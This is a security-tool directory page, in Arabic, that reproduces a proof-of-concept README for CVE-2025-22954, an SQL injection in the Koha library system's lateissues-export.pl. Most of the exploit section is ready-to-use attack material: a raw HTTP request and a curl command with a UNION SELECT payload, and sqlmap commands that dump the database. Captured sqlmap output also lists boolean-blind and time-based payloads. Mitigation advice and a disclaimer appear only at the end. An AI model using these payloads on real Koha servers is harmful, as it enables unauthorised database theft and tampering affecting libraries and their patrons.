Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-22954 — Koha CVE-2025-22954: حقن SQL في lateissues-export.pl | Kitploit
أدوات/GitHubGitHub/randomrobbiebf/cve-2025-22954
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأمن قواعد البيانات
GitHubrandomrobbiebf/cve-2025-22954

CVE-2025-22954

Koha CVE-2025-22954: حقن SQL في lateissues-export.pl

عرض المستودع
1منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

كوه CVE-2025-22954: حقن SQL في lateissues-export.pl

نظرة عامة

يحتوي هذا المستودع على إثبات مفهوم لـ CVE-2025-22954، وهي ثغرة حقن SQL ذات خطورة حرجة (CVSS 10.0) في كوه (Koha) قبل الإصدار 24.11.02. توجد الثغرة في الدالة GetLateOrMissingIssues في C4/Serials.pm التي يتم استدعاؤها بواسطة السكريبت /serials/lateissues-export.pl. يمكن استغلال الثغرة عبر المعاملات supplierid أو serialid.

CVE IDCVE-2025-22954
CVSS v310.0 (حرجة)
درجة EPSS0.03% (أعلى 5.26%)
تاريخ النشر12 مارس 2025
تم الإصلاح فيكوه 24.11.02
مرجع الخطأKoha Bug #38829
ملاحظات الإصدارKoha 24.11.02 Release

تفاصيل الثغرة

ينبع الثغرة من التعامل غير الآمن مع مدخلات المستخدم في المعاملات supplierid و serialid في سكريبت lateissues-export.pl الذي يتم تمريره إلى الدالة GetLateOrMissingIssues في C4/Serials.pm. لا تقوم الدالة بتنقية أو تحديد معلمات هذه المدخلات بشكل صحيح قبل استخدامها في استعلامات SQL، مما يسمح بهجمات حقن SQL.

الكود المتأثر

يحتوي السكريبت الضعيف (lateissues-export.pl) على الكود التالي:

root@kitploit:~
my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');

# ...

for my $serialid ( @serialids ) {
    my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
    # ...
    
    # update claim date to let one know they have looked at this missing item
    updateClaim($serialid);
}

من المحتمل أن تحتوي الدالة GetLateOrMissingIssues في C4/Serials.pm على بناء استعلام SQL ضعيف حيث يتم دمج المعاملات $supplierid و $serialid مباشرة في عبارات SQL دون تحديد معلمات مناسب.

إثبات المفهوم

يوضح إثبات المفهوم هذا كيف يمكن لمستخدم مصادق عليه مع صلاحية الوصول إلى وحدة الدوريات (serials module) استغلال هذه الثغرة لاستخراج بيانات حساسة من قاعدة بيانات كوه أو ربما الحصول على وصول غير مصرح به إلى نظام قاعدة البيانات الأساسي.

المتطلبات الأساسية

  • مثيل كوه ضعيف (قبل 24.11.02)
  • الوصول إلى سكريبت lateissues-export.pl

طريقة الاستغلال

طريقة طلب HTTP

يمكن استخدام طلب HTTP الأولي التالي لاستغلال الثغرة:

root@kitploit:~
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close

استخدام curl

root@kitploit:~
curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1" 

استخدام SQLMap

يمكن استخدام SQLMap لأتمتة استغلال هذه الثغرة. أولاً، قم بتسجيل طلب إلى النقطة الضعيفة مع ملفات تعريف ارتباط المصادقة الصالحة، ثم استخدم SQLMap لاستغلال نقطة الحقن.

root@kitploit:~
# Save a request with valid cookies to request.txt
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3 

مثال لملف request.txt:

root@kitploit:~
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close

يمكنك أيضًا استغلال الثغرة مباشرة باستخدام SQLMap:

root@kitploit:~
sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \
  -p supplierid \
  --dbms=mysql \
  --dump
root@kitploit:~
GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:

التأثير

تسمح هذه الثغرة لمهاجم مصادق عليه بـ:

  1. استخراج معلومات حساسة من قاعدة البيانات
  2. تعديل البيانات في قاعدة البيانات
  3. تنفيذ أوامر عشوائية على خادم قاعدة البيانات
  4. الحصول على وصول إلى نظام التشغيل الأساسي

التخفيف

قم بالتحديث إلى إصدار كوه 24.11.02 أو أحدث والذي يتضمن إصلاحًا لهذه الثغرة.

إذا لم يكن التحديث الفوري ممكنًا، ففكر في تنفيذ التخفيفات المؤقتة التالية:

  1. تقييد الوصول إلى السكريبت /serials/lateissues-export.pl لعناوين IP الموثوقة فقط
  2. تنفيذ قاعدة لجدار حماية تطبيقات الويب (WAF) لحظر الطلبات الضارة المحتملة إلى هذه النقطة
  3. تعديل ملف C4/Serials.pm لتحديد معلمات استعلامات SQL بشكل صحيح في الدالة GetLateOrMissingIssues

الاعتبارات الأخلاقية

يتم توفير إثبات المفهوم هذا للأغراض التعليمية والدفاعية فقط. احصل دائمًا على التفويض المناسب قبل اختبار أي نظام للثغرات.

إخلاء مسؤولية

المؤلف غير مسؤول عن أي إساءة استخدام لهذه المعلومات. يجب استخدام إثبات المفهوم هذا فقط على الأنظمة التي تمتلكها أو لديك إذن صريح باختبارها.

تنزيل الأداة